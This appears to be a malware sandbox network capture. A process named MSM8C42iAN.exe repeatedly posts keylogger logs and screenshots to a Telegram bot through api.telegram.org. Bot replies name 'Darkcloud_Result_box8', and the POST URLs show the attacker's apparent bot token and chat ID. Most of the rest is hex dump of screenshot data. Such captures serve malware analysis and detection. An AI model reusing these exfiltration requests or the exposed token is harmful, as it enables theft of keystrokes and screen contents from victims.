2024-11-25 12:56:21 UTC	550	OUT	POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-KL:::user-PC\user\8.46.123.75 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 601 Connection: Keep-Alive Cache-Control: no-cache
2024-11-25 12:56:21 UTC	601	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 5a 57 64 72 67 50 57 43 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 30 37 3a 35 36 3a 31 30 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 37 3a 35 36 3a 31 30 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 37 3a 35 36 3a 31 30 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDataZWdrgPWC.txt"Content-Type: application/octet-stream[07:56:10]<<Program Manager>>[07:56:10]<<Program Manager>>[07:56:10]<<Program Mana
2024-11-25 12:56:22 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:56:22 GMT Content-Type: application/json Content-Length: 587 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-25 12:56:22 UTC	587	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 36 32 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 38 31 36 35 30 36 38 30 31 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 44 61 72 6b 63 6c 6f 75 64 5f 52 65 73 75 6c 74 5f 62 6f 78 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 44 61 72 6b 63 6c 6f 75 64 5f 52 65 73 75 6c 74 5f 62 6f 78 38 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 31 31 35 38 35 30 36 38 39 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 68 69 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 6f 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 48 52 77 65 62 63 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":2629,"from":{"id":8165068013,"is_bot":true,"first_name":"Darkcloud_Result_box8","username":"Darkcloud_Result_box8_Bot"},"chat":{"id":6115850689,"first_name":"Chi","last_name":"Boy","username":"HRwebc","type":"private"},"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49891	149.154.167.220	443	2220	C:\Users\user\Desktop\MSM8C42iAN.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:56:26 UTC	554	OUT	POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-SC:::user-PC\user\8.46.123.75 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 3932422 Connection: Keep-Alive Cache-Control: no-cache
2024-11-25 12:56:26 UTC	16355	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 63 72 65 65 6e 73 68 6f 74 41 66 55 6b 62 6e 44 61 2e 42 4d 50 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 42 4d 36 00 3c 00 00 00 00 00 36 00 00 00 28 00 00 00 00 05 00 00 00 04 00 00 01 00 18 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 1a 00 24 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="ScreenshotAfUkbnDa.BMP"Content-Type: application/octet-streamBM6<6(<$$######$$$$
2024-11-25 12:56:26 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:56:26 UTC	16355	OUT	Data Raw: 22 16 00 22 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 19 01 24 24 03 2d 46 0c 35 68 15 3b 81 1b 3e 8c 1e 19 aa b2 09 a5 d9 10 84 a9 17 51 59 1f 23 13 21 18 03 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 Data Ascii: ""!!!!!!!!!!!!!!!!$$-F5h;>QY#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2024-11-25 12:56:26 UTC	16355	OUT	Data Raw: 00 1e 11 00 1e 11 00 1e 11 00 1e 11 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f Data Ascii:
2024-11-25 12:56:26 UTC	16355	OUT	Data Raw: 0b 01 ff ff ff 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0b 00 1b 0b 01 1b 0b 01 1b 0b 01 1b 0b 00 1b 0b 00 1b 0a 01 1b 0a 00 1b 0b 01 1b 0b 01 1b 0a 01 76 6c 67 1b 0a 01 1b 0b 01 1b 0b 01 1b 0b 01 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: vlg$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$
2024-11-25 12:56:26 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:56:26 UTC	16355	OUT	Data Raw: 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 14 00 21 14 00 21 15 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 00 21 14 Data Ascii: !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
2024-11-25 12:56:26 UTC	16355	OUT	Data Raw: 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 10 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1e 0f 00 1d 0f 00 1d 0f 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d 0e 00 1d Data Ascii:
2024-11-25 12:56:26 UTC	232	OUT	Data Raw: 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a 00 c2 c2 c2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii: $$$$$$$$$$$$$$$$$$$$$$$$$$$$
2024-11-25 12:56:26 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:56:31 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:56:30 GMT Content-Type: application/json Content-Length: 592 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49907	149.154.167.220	443	2220	C:\Users\user\Desktop\MSM8C42iAN.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:56:32 UTC	550	OUT	POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-KL:::user-PC\user\8.46.123.75 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 568 Connection: Keep-Alive Cache-Control: no-cache
2024-11-25 12:56:32 UTC	568	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4b 65 79 44 61 74 61 48 68 55 6e 5a 6d 76 44 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 0d 0a 5b 30 37 3a 35 36 3a 32 31 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 37 3a 35 36 3a 32 32 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 67 65 72 3e 3e 0d 0a 0d 0a 5b 30 37 3a 35 36 3a 32 32 5d 3c 3c 50 72 6f 67 72 61 6d 20 4d 61 6e 61 Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="KeyDataHhUnZmvD.txt"Content-Type: application/octet-stream[07:56:21]<<Program Manager>>[07:56:22]<<Program Manager>>[07:56:22]<<Program Mana
2024-11-25 12:56:33 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:56:33 GMT Content-Type: application/json Content-Length: 586 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-25 12:56:33 UTC	586	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 32 36 33 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 38 31 36 35 30 36 38 30 31 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 44 61 72 6b 63 6c 6f 75 64 5f 52 65 73 75 6c 74 5f 62 6f 78 38 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 44 61 72 6b 63 6c 6f 75 64 5f 52 65 73 75 6c 74 5f 62 6f 78 38 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 31 31 35 38 35 30 36 38 39 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 68 69 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 42 6f 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 48 52 77 65 62 63 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 Data Ascii: {"ok":true,"result":{"message_id":2632,"from":{"id":8165068013,"is_bot":true,"first_name":"Darkcloud_Result_box8","username":"Darkcloud_Result_box8_Bot"},"chat":{"id":6115850689,"first_name":"Chi","last_name":"Boy","username":"HRwebc","type":"private"},"d

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49918	149.154.167.220	443	2220	C:\Users\user\Desktop\MSM8C42iAN.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:56:37 UTC	554	OUT	POST /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-SC:::user-PC\user\8.46.123.75 HTTP/1.1 Accept: / Content-Type: multipart/form-data; boundary=3fbd04f5-b1ed-4060-99b9-fca7ff59c113 Accept-Language: en-ch Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: api.telegram.org Content-Length: 3932422 Connection: Keep-Alive Cache-Control: no-cache
2024-11-25 12:56:37 UTC	16355	OUT	Data Raw: 2d 2d 33 66 62 64 30 34 66 35 2d 62 31 65 64 2d 34 30 36 30 2d 39 39 62 39 2d 66 63 61 37 66 66 35 39 63 31 31 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 63 72 65 65 6e 73 68 6f 74 6d 49 55 6e 45 6e 45 65 2e 42 4d 50 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 42 4d 36 00 3c 00 00 00 00 00 36 00 00 00 28 00 00 00 00 05 00 00 00 04 00 00 01 00 18 00 00 00 00 00 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 24 1a 00 24 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 23 1a 00 24 1a 00 24 1a 00 24 1a 00 24 1a Data Ascii: --3fbd04f5-b1ed-4060-99b9-fca7ff59c113Content-Disposition: form-data; name="document"; filename="ScreenshotmIUnEnEe.BMP"Content-Type: application/octet-streamBM6<6(<$$######$$$$
2024-11-25 12:56:37 UTC	16355	OUT	Data Raw: f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 f2 Data Ascii:
2024-11-25 12:56:37 UTC	16355	OUT	Data Raw: 22 16 00 22 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 19 01 24 24 03 2d 46 0c 35 68 15 3b 81 1b 3e 8c 1e 19 aa b2 09 a5 d9 10 84 a9 17 51 59 1f 23 13 21 18 03 21 16 00 21 16 00 21 16 00 21 16 00 21 16 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 21 15 00 Data Ascii: ""!!!!!!!!!!!!!!!!$$-F5h;>QY#!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
